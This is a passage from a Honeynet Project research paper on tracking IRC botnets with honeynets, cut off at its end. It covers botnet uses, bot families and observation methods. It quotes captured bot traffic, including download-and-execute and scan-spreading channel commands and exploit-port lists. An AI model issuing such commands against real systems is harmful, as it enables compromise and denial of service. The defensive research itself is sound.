Know your Enemy: Tracking Botnets Using honeynets to learn more about Bots

Know your Enemy: Tracking Botnets Using honeynets to learn more about Bots
Know your Enemy: Tracking Botnets
Know your Enemy:
Tracking Botnets
Using honeynets to learn more about Bots
The Honeynet Project & Research Alliance
Last Modified: 13 March 2005
Honeypots are a well known technique for discovering the tools, tactics, and motives of attackers. In this
paper we look at a special kind of threat: the individuals and organizations who run botnets. A botnet is a
network of compromised machines that can be remotely controlled by an attacker. Due to their immense
size (tens of thousands of systems can be linked together), they pose a severe threat to the community.
With the help of honeynets we can observe the people who run botnets - a task that is difficult using other
techniques. Due to the wealth of data logged, it is possible to reconstruct the actions of attackers, the tools
they use, and study them in detail. In this paper we take a closer look at botnets, common attack
techniques, and the individuals involved.
We start with an introduction to botnets and how they work, with examples of their uses. We then briefly
analyze the three most common bot variants used. Next we discuss a technique to observe botnets,
allowing us to monitor the botnet and observe all commands issued by the attacker. We present common
behavior we captured, as well as statistics on the quantitative information learned through monitoring more
than one hundred botnets during the last few months. We conclude with an overview of lessons learned
and point out further research topics in the area of botnet-tracking, including a tool called mwcollect2 that
focuses on collecting malware in an automated fashion.
These days, home PCs are a desirable target for attackers. Most of these systems run Microsoft Windows
and often are not properly patched or secured behind a firewall, leaving them vulnerable to attack. In
addition to these direct attacks, indirect attacks against programs the victim uses are steadily increasing.
Examples of these indirect attacks include malicious HTML-files that exploit vulnerabilities in Microsoft's
Internet Explorer or attacks using malware in Peer-to-Peer networks. Especially machines with broadband
connection that are always on are a valuable target for attackers. As broadband connections increase, so
to do the number of potential victims of attacks. Crackers benefit from this situation and use it for their own
advantage. With automated techniques they scan specific network ranges of the Internet searching for
vulnerable systems with known weaknesses. Attackers often target Class B networks (/16 in CIDR
notation) or smaller net-ranges. Once these attackers have compromised a machine, they install a so
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called IRC bot - also called zombie or drone - on it. Internet Relay Chat (IRC) is a form of real-time
communication over the Internet. It is mainly designed for group (one-to-many) communication in
discussion forums called channels, but also allows one-to-one communication. More information about
IRC can be found on Wikipedia.
We have identified many different versions of IRC-based bots (in the following we use the term bot) with
varying degrees of sophistication and implemented commands, but all have something in common. The
bot joins a specific IRC channel on an IRC server and waits there for further commands. This allows an
attacker to remotely control this bot and use it for fun and also for profit. Attackers even go a step further
and bring different bots together. Such a structure, consisting of many compromised machines which can
be managed from an IRC channel, is called a botnet. IRC is not the best solution since the communication
between bots and their controllers is rather bloated, a simpler communication protocol would suffice. But
IRC offers several advantages: IRC Servers are freely available and are easy to set up, and many
attackers have years of IRC communication experience.
Due to their immense size - botnets can consist of several ten thousand compromised machines - botnets
pose serious threats. Distributed denial-of-service (DDoS) attacks are one such threat. Even a relatively
small botnet with only 1000 bots can cause a great deal of damage. These 1000 bots have a combined
bandwidth (1000 home PCs with an average upstream of 128KBit/s can offer more than 100MBit/s) that is
probably higher than the Internet connection of most corporate systems. In addition, the IP distribution of
the bots makes ingress filter construction, maintenance, and deployment difficult. In addition, incident
response is hampered by the large number of separate organizations involved. Another use for botnets is
stealing sensitive information or identity theft: Searching some thousands home PCs for password.txt, or
sniffing their traffic, can be effective.
The spreading mechanisms used by bots is a leading cause for "background noise" on the Internet,
especially on TCP ports 445 and 135. In this context, the term spreading describes the propagation
methods used by the bots. These malware scan large network ranges for new vulnerable computers and
infect them, thus acting similar to a worm or virus. An analysis of the traffic captured by the German
Honeynet Project shows that most traffic targets the ports used for resource sharing on machines running
all versions of Microsoft's Windows operating system:
Port 445/TCP (Microsoft-DS Service) is used for resource sharing on machines running Windows
2000, XP, or 2003, and other CIFS based connections. This port is for example used to connect to
file shares.
Port 139/TCP (NetBIOS Session Service) is used for resource sharing on machines running
Windows 9x, ME and NT. Again, this port is used to connect to file shares.
Port 137/UDP (NetBIOS Name Service) is used by computers running Windows to find out
information concerning the networking features offered by another computer. The information that
can be retrieved this way include system name, name of file shares, and more.
And finally, port 135/TCP is used by Microsoft to implement Remote Procedure Call (RPC)
services. An RPC service is a protocol that allows a computer program running on one host to
cause code to be executed on another host without the programmer needing to explicitly code for
The traffic on these four ports cause more then 80 percent of the whole traffic captured. Further research
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with tools such as Nmap, Xprobe2 and p0f reveal that machines running Windows XP and 2000 represent
the most affected software versions. Clearly most of the activity on the ports listed above is caused by
systems with Windows XP (often running Service Pack 1), followed by systems with Windows 2000. Far
behind, systems running Windows 2003 or Windows 95/98 follow.
But what are the real causes of these malicious packets? Who and what is responsible for them? And can
we do something to prevent them? In this paper we want to show the background of this traffic and further
elaborate the causes. We show how attackers use IRC bots to control and build networks of compromised
machines (botnet) to further enhance the effectiveness of their work. We use classical GenII-Honeynets
with some minor modifications to learn some key information, for example the IP address of a botnet
server or IRC channel name and password. This information allows us to connect to the botnet and
observe all the commands issued by the attacker. At times we are even able to monitor their
communication and thus learn more about their motives and social behavior. In addition, we give some
statistics on the quantitative information we have learned through monitoring of more than one hundred
botnets during the last few months. Several examples of captured activities by attackers substantiate our
For this research, a Honeynet of only three machines was used. One dial-in host within the network of the
German ISP T-Online, one dial-in within the network of the German ISP NetCologne and one machine
deployed at RWTH Aachen University. The hosts in the network of the university runs an unpatched
version of Windows 2000 and is located behind a Honeywall. The dial-in hosts run a newly developed
software called mwcollectd2, designed to capture malware. We monitor the botnet activity with our own
IRC client called drone. Both are discussed in greater detail later in this paper.
Almost all Bots use a tiny collection of exploits to spread further. Since the Bots are constantly attempting
to compromise more machines, they generate noticeable traffic within a network. Normally bots try to
exploit well-known vulnerabilities. Beside from the ports used for resource sharing as listed above, bots
often use vulnerability-specific ports. Examples of these ports include:
42 - WINS (Host Name Server)
80 - www (vulnerabilities in Internet Information Server 4 / 5 or Apache)
903 - NetDevil Backdoor
1025 - Microsoft Remote Procedure Call (RPC) service and Windows Messenger port
1433 - ms-sql-s (Microsoft-SQL-Server)
2745 - backdoor of Bagle worm (mass-mailing worm)
3127 - backdoor of MyDoom worm (mass-mailing worm)
3306 - MySQL UDF Weakness
3410 - vulnerability in Optix Pro remote access trojan (Optix Backdoor)
5000 - upnp (Universal Plug and Play: MS01-059 - Unchecked Buffer in Universal Plug and Play
can Lead to System Compromise)
6129 - dameware (Dameware Remote Admin - DameWare Mini Remote Control Client Agent
Service Pre-Authentication Buffer Overflow Vulnerability)
The vulnerabilities behind some of these exploits can be found with the help of a search on Microsoft's
Security bulletins (sample):
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MS03-007 Unchecked Buffer In Windows Component Could Cause Server Compromise
MS03-026 Buffer Overrun In RPC Interface Could Allow Code Execution
MS04-011 Security Update for Microsoft Windows
MS04-045 Vulnerability in WINS Could Allow Remote Code Execution
Uses of botnets
"A botnet is comparable to compulsory military service for windows boxes" - Stromberg
A botnet is nothing more then a tool, there are as many different motives for using them as there are
people. The most common uses were criminally motivated (i.e. monetary) or for destructive purposes.
Based on the data we captured, the possibilities to use botnets can be categorized as listed below. And
since a botnet is nothing more then a tool, there are most likely other potential uses that we have not listed.
1. Distributed Denial-of-Service Attacks
Often botnets are used for Distributed Denial-of-Service (DDoS) attacks. A DDoS attack is an
attack on a computer system or network that causes a loss of service to users, typically the loss of
network connectivity and services by consuming the bandwidth of the victim network or overloading
the computational resources of the victim system. In addition, the resources on the path are
exhausted if the DDoS-attack causes many packets per second (pps). Each bot we have analyzed
so far includes several different possibilities to carry out a DDoS attack against other hosts. Most
commonly implemented and also very often used are TCP SYN and UDP flood attacks. Script
kiddies apparently consider DDoS an appropriate solution to every social problem.
Further research showed that botnets are even used to run commercial DDoS attacks against
competing corporations: Operation Cyberslam documents the story of Jay R. Echouafni and
Joshua Schichtel alias EMP. Echouafni was indicted on August 25, 2004 on multiple charges of
conspiracy and causing damage to protected computers. He worked closely together with EMP
who ran a botnet to send bulk mail and also carried out DDoS attacks against the spam blacklist
servers. In addition, they took Speedera - a global on-demand computing platform - offline when
they ran a paid DDoS attack to take a competitor's website down.
Note that DDoS attacks are not limited to web servers, virtually any service available on the
Internet can be the target of such an attack. Higher-level protocols can be used to increase the
load even more effectively by using very specific attacks, such as running exhausting search
queries on bulletin boards or recursive HTTP-floods on the victim's website. Recursive HTTP-flood
means that the bots start from a given HTTP link and then follows all links on the provided website
in a recursive way. This is also called spidering.
2. Spamming
Some bots offer the possibility to open a SOCKS v4/v5 proxy - a generic proxy protocol for TCP/IPbased networking applications (RFC 1928) - on a compromised machine. After having enabled the
SOCKS proxy, this machine can then be used for nefarious tasks such as spamming. With the help
of a botnet and thousands of bots, an attacker is able to send massive amounts of bulk email
(spam). Some bots also implement a special function to harvest email-addresses. Often that spam
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you are receiving was sent from, or proxied through, grandma's old Windows computer sitting at
home. In addition, this can of course also be used to send phishing-mails since phishing is a
special case of spam.
3. Sniffing Traffic
Bots can also use a packet sniffer to watch for interesting clear-text data passing by a
compromised machine. The sniffers are mostly used to retrieve sensitive information like
usernames and passwords. But the sniffed data can also contain other interesting information. If a
machine is compromised more than once and also a member of more than one botnet, the packet
sniffing allows to gather the key information of the other botnet. Thus it is possible to "steal"
another botnet.
4. Keylogging
If the compromised machine uses encrypted communication channels (e.g. HTTPS or POP3S),
then just sniffing the network packets on the victim's computer is useless since the appropriate key
to decrypt the packets is missing. But most bots also offer features to help in this situation. With the
help of a keylogger it is very easy for an attacker to retrieve sensitive information. An implemented
filtering mechanism (e.g. "I am only interested in key sequences near the keyword ''")
further helps in stealing secret data. And if you imagine that this keylogger runs on thousands of
compromised machines in parallel you can imagine how quickly PayPal accounts are harvested.
5. Spreading new malware
In most cases, botnets are used to spread new bots. This is very easy since all bots implement
mechanisms to download and execute a file via HTTP or FTP. But spreading an email virus using a
botnet is a very nice idea, too. A botnet with 10.000 hosts which acts as the start base for the mail
virus allows very fast spreading and thus causes more harm. The Witty worm, which attacked the
ICQ protocol parsing implementation in Internet Security Systems (ISS) products is suspected to
have been initially launched by a botnet due to the fact that the attacking hosts were not running
any ISS services.
6. Installing Advertisement Addons and Browser Helper Objects (BHOs)
Botnets can also be used to gain financial advantages. This works by setting up a fake website
with some advertisements: The operator of this website negotiates a deal with some hosting
companies that pay for clicks on ads. With the help of a botnet, these clicks can be "automated" so
that instantly a few thousand bots click on the pop-ups. This process can be further enhanced if the
bot hijacks the start-page of a compromised machine so that the "clicks" are executed each time
the victim uses the browser.
7. Google AdSense abuse
A similar abuse is also possible with Google's AdSense program: AdSense offers companies the
possibility to display Google advertisements on their own website and earn money this way. The
company earns money due to clicks on these ads, for example per 10.000 clicks in one month. An
attacker can abuse this program by leveraging his botnet to click on these advertisements in an
automated fashion and thus artificially increments the click counter. This kind of usage for botnets
is relatively uncommon, but not a bad idea from an attacker's perspective.
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8. Attacking IRC Chat Networks
Botnets are also used for attacks against Internet Relay Chat (IRC) networks. Popular among
attackers is especially the so called "clone attack": In this kind of attack, the controller orders each
bot to connect a large number of clones to the victim IRC network. The victim is flooded by service
request from thousands of bots or thousands of channel-joins by these cloned bots. In this way, the
victim IRC network is brought down - similar to a DDoS attack.
9. Manipulating online polls/games
Online polls/games are getting more and more attention and it is rather easy to manipulate them
with botnets. Since every bot has a distinct IP address, every vote will have the same credibility as
a vote cast by a real person. Online games can be manipulated in a similar way. Currently we are
aware of bots being used that way, and there is a chance that this will get more important in the
10. Mass identity theft
Often the combination of different functionality described above can be used for large scale identity
theft, one of the fastest growing crimes on the Internet. Bogus emails ("phishing mails") that
pretend to be legitimate (such as fake PayPal or banking emails) ask their intended victims to go
online and submit their private information. These fake emails are generated and sent by bots via
their spamming mechanism. These same bots can also host multiple fake websites pretending to
be Ebay, PayPal, or a bank, and harvest personal information. Just as quickly as one of these fake
sites is shut down, another one can pop up. In addition, keylogging and sniffing of traffic can also
be used for identity theft.
This list demonstrates that attackers can cause a great deal of harm or criminal activity with the help of
botnets. Many of these attacks - especially DDoS attacks - pose severe threats to other systems and are
hard to prevent. In addition, we are sure there are many other uses we have yet to discover. As a result,
we need a way to learn more about this threat, learn how attackers usually behave and develop
techniques to battle against them. Honeynets can help us in all three areas:
1. With the help of honeynets we are able to learn some key information (e.g. IP address of the server
or nickname of the bot) that enable us to observe botnets. We can "collect" binaries of bots and
extract the sensitive information in a semi-automated fashion with the help of a classical
2. We are able to monitor the typical commands issued by attackers and sometimes we can even
capture their communication. This helps us in learning more about the motives of attackers and
their tactics.
3. An automated method to catch information about botnets and a mechanism to effectively track
botnets can even help to fight against botnets.
After we have introduced and analyzed some of the most popular bots in the next Section, we are going to
present a technique to track botnets.
Different Types of Bots
During our research, we found many different types of bots in the wild. In this section we present some of
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the more widespread and well-known bots. We introduce the basic concepts of each piece of malware and
furthermore describe some of the features in more detail. In addition, we show several examples of source
code from bots and list parts of their command set.
This is probably the best known bot. Currently, the AV vendor Sophos lists more than 500 known
different versions of Agobot (Sophos virus analyses) and this number is steadily increasing. The
bot itself is written in C++ with cross-platform capabilities and the source code is put under the
GPL. Agobot was written by Ago alias Wonk, a young German man who was arrested in May 2004
for computer crime. The latest available versions of Agobot are written in tidy C++ and show a
really high abstract design. The bot is structured in a very modular way, and it is very easy to add
commands or scanners for other vulnerabilities: Simply extend the CCommandHandler or
CScanner class and add your feature. Agobot uses libpcap (a packet sniffing library) and Perl
Compatible Regular Expressions (PCRE) to sniff and sort traffic. Agobot can use NTFS Alternate
Data Stream (ADS) and offers Rootkit capabilities like file and process hiding to hide it's own
presence on a compromised host. Furthermore, reverse engineering this malware is harder since it
includes functions to detect debuggers (e.g. SoftICE and OllyDbg) and virtual machines (e.g.
VMWare and Virtual PC). In addition, Agobot is the only bot that utilized a control protocol other
than IRC. A fork using the distributed organized WASTE chat network is available. Furthermore,
the Linux version is able to detect the Linux distribution used on the compromised host and sets up
a correct init script.
Summarizing: "The code reads like a charm, it's like dating the devil."
This family of malware is at the moment the most active one: Sophos lists currently seven
derivatives on the "Latest 10 virus alerts". SDBot is written in very poor C and also published under
the GPL. It is the father of RBot, RxBot, UrBot, UrXBot, JrBot, .. and probably many more. The
source code of this bot is not very well designed or written. Nevertheless, attackers like it, and it is
very often used in the wild. It offers similar features to Agobot, although the command set is not as
large, nor the implementation as sophisticated.
mIRC-based Bots - GT-Bots
We subsume all mIRC-based bots as GT-bots, since there are so many different versions of them
that it is hard to get an overview of all forks. mIRC itself is a popular IRC client for Windows. GT is
an abbreviation for Global Threat and this is the common name used for all mIRC-scripted bots.
These bots launch an instance of the mIRC chat-client with a set of scripts and other binaries. One
binary you will never miss is a HideWindow executable used to make the mIRC instance unseen
by the user. The other binaries are mainly Dynamic Link Libraries (DLLs) linked to mIRC that add
some new features the mIRC scripts can use. The mIRC-scripts, often having the extension ".mrc",
are used to control the bot. They can access the scanners in the DLLs and take care of further
spreading. GT-Bots spread by exploiting weaknesses on remote computers and uploading
themselves to compromised hosts (filesize > 1 MB).
Besides these three types of bots which we find on a nearly daily basis, there are also other bots that we
see more seldom. Some of these bots offer "nice" features and are worth mentioning here:
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The Dataspy Network X (DSNX) bot is written in C++ and has a convenient plugin interface. An
attacker can easily write scanners and spreaders as plugins and extend the bot's features. Again,
the code is published under the GPL. This bot has one major disadvantage: the default version
does not come with any spreaders. But plugins are available to overcome this gap. Furthermore,
plugins that offer services like DDoS-attacks, portscan-interface or hidden HTTP-server are
Q8 Bots
Q8bot is a very small bot, consisting of only 926 lines of C-code. And it has one additional
noteworthiness: It's written for Unix/Linux systems. It implements all common features of a bot:
Dynamic updating via HTTP-downloads, various DDoS-attacks (e.g. SYN-flood and UDP-flood),
execution of arbitrary commands, and many more. In the version we have captured, spreaders are
missing. But presumably versions of this bot exist which also include spreaders.
This bot lacks a spreader too, and is also written for Unix/Linux systems. The weak user
authentication makes it very easy to hijack a botnet running with kaiten. The bot itself consists of
just one file. Thus it is very easy to fetch the source code using wget, and compile it on a
vulnerable box using a script. Kaiten offers an easy remote shell, so checking for further
vulnerabilities to gain privileged access can be done via IRC.
Perl-based bots
There are many different version of very simple based on the programming language Perl. These
bots are very small and contain in most cases only a few hundred lines of code. They offer only a
rudimentary set of commands (most often DDoS-attacks) and are used on Unix-based systems.
What Bots Do and How They Work
After having introduced different types of bots, we now want to take a closer look at what these bots
normally do and how they work. This section will in detail explain how bots spread and how they are
controlled by their masters.
After successful exploitation, a bot uses Trivial File Transfer Protocol (TFTP), File Transfer Protocol (FTP),
HyperText Transfer Protocol (HTTP), or CSend (an IRC extension to send files to other users, comparable
to DCC) to transfer itself to the compromised host. The binary is started, and tries to connect to the hardcoded master IRC server. Often a dynamic DNS name is provided (for example one from www.dyndns.
org) rather than a hard coded IP address, so the bot can be easily relocated. Some bots even remove
themselves if the given master server is localhost or in a private subnet, since this indicates an unusual
situations. Using a special crafted nickname like USA|743634 or [UrX]-98439854 the bot tries to join
the master's channel, sometimes using a password to keep strangers out of the channel. A typical
communication that can be observed after a successful infection looks like:
<- :irc1.XXXXXX.XXX NOTICE AUTH :*** Looking up your hostname...
<- :irc1.XXXXXX.XXX NOTICE AUTH :*** Found your hostname
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-> PASS secretserverpass
-> NICK [urX]-700159
-> USER mltfvt 0 0 :mltfvt
<- :irc1.XXXXXX.XXX NOTICE [urX]-700159 :*** If you are having problems connecting due to ping
timeouts, please type /quote pong ED322722 or /raw pong ED322722 now.
<- PING :ED322722
-> PONG :ED322722
<- :irc1.XXXXXX.XXX 001 [urX]-700159 :Welcome to the irc1.XXXXXX.XXX IRC Network [urX]-700159!
[email protected]
<- :irc1.XXXXXX.XXX 002 [urX]-700159 :Your host is irc1.XXXXXX.XXX, running version Unreal3.2beta19
<- :irc1.XXXXXX.XXX 003 [urX]-700159 :This server was created Sun Feb 8 18:58:31 2004
<- :irc1.XXXXXX.XXX 004 [urX]-700159 irc1.XXXXXX.XXX Unreal3.2-beta19 iowghraAsORTVSxNCWqBzvdHtGp
Afterwards, the server accepts the bot as a client and sends him RPL_ISUPPORT, RPL_MOTDSTART,
RPL_MOTD, RPL_ENDOFMOTD or ERR_NOMOTD. Replies starting with RPL_ contain information for
the client, for example RPL_ISUPPORT tells the client which features the server understands and
RPL_MOTD indicates the Message Of The Day (MOTD). In contrast to this, ERR_NOMOTD is an error
message if no MOTD is available. In the following listing, these replies are highlihted with colors:
TOPICLEN=307 KICKLEN=307 MAXTARGETS=20 AWAYLEN=307 :are supported by this server
(qaohv)~&@%+ CHANMODES=be,kfL,l,psmntirRcOAQKVGCuzNSM NETWORK=irc1.XXXXXX.XXX CASEMAPPING=ascii :
are supported by this server
<- :irc1.XXXXXX.XXX 375 [urX]-700159 :- irc1.XXXXXX.XXX Message of the Day <- :irc1.XXXXXX.XXX 372 [urX]-700159 :- 20/12/2004 7:45
<- :irc1.XXXXXX.XXX 372 [urX]-700159 :- - .
<- :irc1.XXXXXX.XXX 372 [urX]-700159 :- +
<- :irc1.XXXXXX.XXX 372 [urX]-700159 :- ___
<- :irc1.XXXXXX.XXX 372 [urX]-700159 :- .
_.--"~~ __"-.
<- :irc1.XXXXXX.XXX 372 [urX]-700159 :- ,-"
.-~ ~"\
<- :irc1.XXXXXX.XXX 372 [urX]-700159 :- .
( )
<- :irc1.XXXXXX.XXX 372 [urX]-700159 :- +
{_.---._ /
<- :irc1.XXXXXX.XXX 372 [urX]-700159 :- /
<- :irc1.XXXXXX.XXX 372 [urX]-700159 :- /
<- :irc1.XXXXXX.XXX 372 [urX]-700159 :- .
( --l__
<- :irc1.XXXXXX.XXX 372 [urX]-700159 :- |
<- :irc1.XXXXXX.XXX 372 [urX]-700159 :- |
<- :irc1.XXXXXX.XXX 372 [urX]-700159 :- .
<- :irc1.XXXXXX.XXX 372 [urX]-700159 :- l
<- :irc1.XXXXXX.XXX 372 [urX]-700159 :- .
<- :irc1.XXXXXX.XXX 372 [urX]-700159 :- +
<- :irc1.XXXXXX.XXX 372 [urX]-700159 :- .
<- :irc1.XXXXXX.XXX 372 [urX]-700159 :- "-._
<- :irc1.XXXXXX.XXX 372 [urX]-700159 :- .
<- :irc1.XXXXXX.XXX 372 [urX]-700159 :- .
<- :irc1.XXXXXX.XXX 372 [urX]-700159 :- ->Moon<<- :irc1.XXXXXX.XXX 376 [urX]-700159 :End of /MOTD command.
<- :[urX]-700159 MODE [urX]-700159 :+i
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On RPL_ENDOFMOTD or ERR_NOMOTD, the bot will try to join his master's channel with the provided
-> JOIN #foobar channelpassword
-> MODE [urX]-700159 +x
The bot receives the topic of the channel and interprets it as a command:
<- :irc1.XXXXXX.XXX 332 [urX]-700159 #foobar :.advscan lsass 200 5 0 -r -s
<- :[urX][email protected] JOIN :#foobar
<- :irc1.XXXXXX.XXX MODE #foobar +smntuk channelpassword
Most botnets use a topic command like
1. ".advscan lsass 200 5 0 -r -s"
2. ".http.update http://<server>/~mugenxu/rBot.exe c:\msy32awds.exe 1"
The first topic tells the bot to spread further with the help of the LSASS vulnerability. 200 concurrent
threads should scan with a delay of 5 seconds for an unlimited time (parameter 0). The scans should be
random (parameter -r) and silent (parameter -s), thus avoiding too much traffic due to status reports. In
contrast to this, the second example of a possible topic instructs the bot to download a binary from the
web and execute it (parameter 1). And if the topic does not contain any instructions for the bot, then it
does nothing but idling in the channel, awaiting commands. That is fundamental for most current bots:
They do not spread if they are not told to spread in their master's channel.
Upon successful exploitation the bot will message the owner about it, if it has been advised to do so.
-> PRIVMSG #foobar :[lsass]: Exploiting IP: 200.124.175.XXX
-> PRIVMSG #foobar :[TFTP]: File transfer started to IP: 200.124.175.XXX (C:\WINDOWS\System32\NAV.
Then the IRC server (also called IRC daemon, abbreviated IRCd) will provide the channels userlist. But
most botnet owners have modified the IRCd to just send the channel operators to save traffic and disguise
the number of bots in the channel.
:irc1.XXXXXX.XXX 353 [urX]-700159 @ #foobar :@JAH
:irc1.XXXXXX.XXX 366 [urX]-700159 #foobar :End of /NAMES list.
:irc1.XXXXXX.XXX NOTICE [urX]-700159 :BOTMOTD File not found
:[urX]-700159 MODE [urX]-700159 :+x
The controller of a botnet has to authenticate himself to take control over the bots. This authentication is
done with the help of a command prefix and the "auth" command. The command prefix is used to login the
master on the bots and afterwards he has to authenticate himself. For example,
.login leet0
.la plmp -s
are commands used on different bots to approve the controller. Again, the "-s" switch in the last example
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tells the bots to be silent when authenticating their master. Else they reply something like
[MAIN]: Password accepted.
[r[X]-Sh0[x]]: .:( Password Accettata ):. .
which can be a lot of traffic if you have 10,000 bots on your network. Once an attacker is authenticated,
they can do whatever they want with the bots: Searching for sensitive information on all compromised
machines and DCC-sending these files to another machine, DDoS-ing individuals or organizations, or
enabling a keylogger and looking for PayPal or eBay account information. These are just a few possible
commands, other options have been presented in the previous section. The IRC server that is used to
connect all bots is in most cases a compromised box. This is probably because an attacker would not
receive operator-rights on a normal chat network and thus has to set-up their own IRC server which offers
more flexibility. Furthermore, we made some other interesting observations: Only beginners start a botnet
on a normal IRCd. It is just too obvious you are doing something nasty if you got 1.200 clients named as
rbot-<6-digits> reporting scanning results in a channel. Two different IRC servers software implementation
are commonly used to run a botnet: Unreal IRCd and ConferenceRoom:
Unreal IRCd ( is cross-platform and can thus be used to easily link
machines running Windows and Linux. The IRC server software is stripped down and modified to
fit the botnet owners needs.
Common modifications we have noticed are stripping "JOIN", "PART" and "QUIT" messages on
channels to avoid unnecessary traffic. In addition, the messages "LUSERS" (information about
number of connected clients) and "RPL_ISUPPORT" are removed to hide identity and botnet size.
We recently got a win32 binary only copy of a heavily modified Unreal IRCd that was stripped down
and optimized. The filenames suggest that this modified IRCd is able to serve 80.000 bots:
As we don't run a 80,000 user botnet and lack 80,000 developers in our group we are not able to
verify that information. But probably such huge botnets are used by cyber criminals for
"professional" attacks. These kind of networks can cause severe damage since they offer a lot of
bandwidth and many targets for identity theft.
ConferenceRoom ( is a commercial IRCd solution, but people who run
botnets typically use a cracked version. ConferenceRoom offers the possibility of several thousand
simultaneous connections, with nickname and channel registration, buddy lists and server to server
Surprisingly we already found a Microsoft Chat Server as botnet host, and it seemed to run stable.
Since the people who run botnets often share the same motives (DDoS attacks or other crimes) every bot
family has its own set of commands to implement the same goals. Agobot is really nice here: Just grep the
source for RegisterCommand and get the whole command-list with a complete description of all features.
Due to the lack of clean design, the whole SDBot family is harder to analyze. Often the command set is
changed in various forks of the same bot and thus an automated analysis of the implemented commands
is nearly impossible.
If you are interested in learning more about the different bot commands, we have a more detailed
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overview of command analysis in botnet commands. In addition, if you are interested in learning more
about source code of bots, you can find more detail in the separate page on botnet source code.
How to Track Botnets
In this section we introduce our methodology to track and observe botnets with the help of honeypots.
Tracking botnets is clearly a multi-step operation: First one needs to gather some data about an existing
botnets. This can for example be obtained via an analysis of captured malware. Afterwards one can hook
a client in the networks and gather further information. In the first part of this section we thus want to
introduce our techniques to retrieve the necessary information with the help of honeypots. And thereafter
we present our approach in observing botnets.
Getting information with the help of honeynets
As stated before, we need some sensitive information from each botnet that enables us to place a fake bot
into a botnet. The needed information include:
DNS/IP-address of IRC server and port number
(optional) password to connect to IRC-server
Nickname of bot and ident structure
Channel to join and (optional) channel-password.
Using a GenII Honeynet containing some Windows honeypots and snort_inline enables us to collect this
information. We deployed a typical GenII Honeynet with some small modifications as depicted in the next
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The Windows honeypot is an unpatched version of Windows 2000 or Windows XP. This system is thus
very vulnerable to attacks and normally it takes only a couple of minutes before it is successfully
compromised. It is located within a dial-in network of a German ISP. On average, the expected lifespan of
the honeypot is less than ten minutes. After this small amount of time, the honeypot is often successfully
exploited by automated malware. The shortest compromise time was only a few seconds: Once we
plugged the network cable in, an SDBot compromised the machine via an exploit against TCP port 135
and installed itself on the machine.
As explained in the previous section, a bot tries to connect to an IRC server to obtain further commands
once it successfully attacks one of the honeypots. This is where the Honeywall comes into play: Due to the
Data Control facilities installed on the Honeywall, it is possible to control the outgoing traffic. We use
snort_inline for Data Control and replace all outgoing suspicious connections. A connection is suspicious if
it contains typical IRC messages like " 332 ", " TOPIC ", " PRIVMSG " or " NOTICE ". Thus we are able to
inhibit the bot from accepting valid commands from the master channel. It can therefore cause no harm to
others - we have caught a bot inside our Honeynet. As a side effect, we can also derive all necessary
sensitive information for a botnet from the data we have obtained up to that point in time: The Data
Capture capability of the Honeywall allows us to determine the DNS/IP-address the bot wants to connect
to and also the corresponding port number. In addition, we can derive from the Data Capture logs the
nickname and ident information. Also, the server's password, channel name as well as the channel
password can be obtained this way. So we have collected all necessary information and the honeypot can
catch further malware. Since we do not care about the captured malware for now, we rebuild the
honeypots every 24 hours so that we have "clean" systems every day. The German Honeynet Project is
also working on another project - to capture the incoming malware and analyzing the payload - but more
on this in a later section.
Observing Botnets
Now the second step in tracking botnets takes place, we want to re-connect into the botnet. Since we have
all the necessary data, this is not very hard. In a first approach, you can just setup an irssi (console based
IRC client) or some other IRC client and try to connect to the network. If the network is relatively small
(less then 50 clients), there is a chance that your client will be identified since it does not answer to valid
commands. In this case, the operators of the botnets tend to either ban and/or DDoS the suspicious client.
To avoid detection, you can try to hide yourself. Disabling all auto response triggering commands in your
client helps a bit: If your client replies to a "CTCP VERSION" message with "irssi 0.89 running on openbsd
i368" then the attacker who requested the Client-To-Client Protocol (CTCP) command will get suspicious.
If you are not noticed by the operators of the botnets, you can enable logging of all commands and thus
observe what is happening.
But there are many problems if you start with this approach: Some botnets use very hard stripped down
IRCds which are not RFC compliant so that a normal IRC client can not connect to this network. A
possible way to circumvent this situation is to find out what the operator has stripped out, and modify the
source code of your favorite client to override it. Almost all current IRC clients lack well written code or
have some other disadvantages. So probably you end up writing your own IRC client to track botnets.
Welcome to the club - ours is called drone. There are some pitfalls that you should consider when you
write your own IRC client. Here are some features that we found useful in our dedicated botnet tracking
IRC client:
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SOCKS v4 Support
Multi-server Support: If you don't want to start an instance of your software for each botnet you
found, this is a very useful feature.
No Threading: Threaded software defines hard to debugging Software.
Non-blocking connecting and DNS resolve
poll(): Wait for some event on a file descriptor using non blocking I/O we needed an multiplexer,
select() could have done the job, too
libadns: This is a asynchronous DNS resolving library. Looking up hostnames does not block your
code even if the lookup takes some time. Necessary if one decides not to use threads.
Written in C++ since OOP offers many advantages writing a Multi-server client
Modular interface so you can un/load (C++) modules at runtime
libcurl: This is a command line tool for transferring files with URL syntax, supporting many different
protocols. libcurl is a library offering the same features as the command line tool.
Perl Compatible Regular Expressions (PCRE): The PCRE library is a set of functions that
implement regular expression pattern matching using the same syntax and semantics as Perl 5.
PCRE enable our client to guess the meaning of command and interact in some cases in a "native"
Excessive debug-logging interface so that it is possible to get information about RFC noncompliance issues very fast and fix them in the client (side note: One day logging 50 botnets can
give more than 500 MB of debug information).
Drone is capable of using SOCKS v4 proxies so we do not run into problems if it's presence is noticed by
an attacker in a botnet. The SOCKS v4 proxies are on dial-in accounts in different networks so that we can
easily change the IP addresses. Drone itself runs on a independent machine we maintain ourselves. We
want to thank all the people contributing to our project by donating shells and/or proxies. Some Anti-virus
vendors publish data about botnets. While useful, this information may at times not be enough to to
effectively track botnets, as we demonstrate in Botnet Vendors.
Sometimes the owners of the botnet will issue some commands to instruct his bots. We present the more
commonly used commands in the last section. Using our approach, we are able to monitor the issued
commands and learn more about the motives of the attackers. To further enhance our methodology, we
tried to write a PCRE-based emulation of a bot so that our dummy client could even correctly reply to a
given command. But we soon minimized our design goals here because there is no standardization of
botnet commands and the attackers tend to change their commands very often. In many cases, commandreplies are even translated to their mother language.
When you monitor more than a couple of networks, begin to check if some of them are linked, and group
them if possible. Link-checking is easy, just join a specific channel on all networks and see if you get more
than one client there. It is surprising how many networks are linked. People tend to set up a DNS-name
and channel for every bot version they check out. To learn more about the attacker, try putting the
attacker's nickname into a Google search and often you will be surprised how much information you can
find. Finally, check the server's Regional Internet Registries (RIR) entry (RIPE NCC, ARIN, APNIC, and
LACNIC) to even learn more about the attacker.
Lessons Learned
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In this section we present some of the findings we obtained through our observation of botnets. Data is
sanitized so that it does not allow one to draw any conclusions about specific attacks against a particular
system, and protects the identity and privacy of those involved. Also, as the data for this paper was
collected in Germany by the German Honeynet Project, information about specific attacks and
